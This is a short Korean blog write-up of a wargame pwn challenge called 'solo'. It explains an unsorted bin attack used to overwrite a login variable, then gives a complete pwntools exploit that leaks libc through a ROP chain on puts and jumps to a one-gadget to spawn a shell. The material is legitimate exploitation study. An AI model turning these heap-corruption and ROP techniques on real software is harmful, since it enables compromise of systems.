티스토리 뷰

Summary

  • Unsorted bin attack
  • ROP

Analysis

login변수의 값이 있으면 rop를 할 수 있다.

Exploit

Unsorted bin attack으로 login변수에 값을 넣어줄 수 있다.

Unsorted bin attack condition

  • 공격자에 의해 Unsorted chunk를 생성 할 수 있어야 합니다.
  • 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
  • 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.

exploit flow

  • 2개의 Unsorted chunk 할당
  • 첫 번째 free
  • bk 를 타겟-16(64비트 기준)으로 overwrite
  • free 청크 사이즈만큼 다시 할당.
  • 공격 대상 영역에 main_arena.bins[0] 영역의 주소가 저장
from pwn import *

s = process("solo")
e = ELF("solo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def Malloc(num, size, data):
    s.sendlineafter("$ ", "1")
    s.sendlineafter(": ", str(num))
    s.sendlineafter(": ", str(size))
    s.sendlineafter(": ", data)

def Free(num):
    s.sendlineafter("$ ", "2")
    s.sendlineafter(": ", str(num))

def Modify(data):
    s.sendlineafter("$ ", "201527")
    s.sendlineafter(": ", data)

Malloc(1, 128, "AAAAAAAA")
Malloc(2, 128, "BBBBBBBB")

Free(1)

Modify("\x00"*8+p64(0x602080-0x10))

Malloc(3, 128, "CCCCCCCC")

prdi = 0x4008a0
prsi_r15 = 0x400d11

payload = ''
payload += "A"*0x408
payload += p64(prdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])

payload += p64(0x0000000000400680)

s.sendlineafter("$ ", "4")
s.sendlineafter(": ", payload)

s.sendlineafter("$ ", "5")

libc_base = u64(s.recv(6).ljust(8, "\x00")) - libc.symbols['puts']
magic = libc_base + 0xf1147
print(hex(libc_base))

payload = ''
payload += "\x00"*0x408
payload += p64(magic)

s.sendlineafter("$ ", "4")
s.sendlineafter(": ", payload)
s.sendlineafter("$ ", "5")

s.interactive()
Comments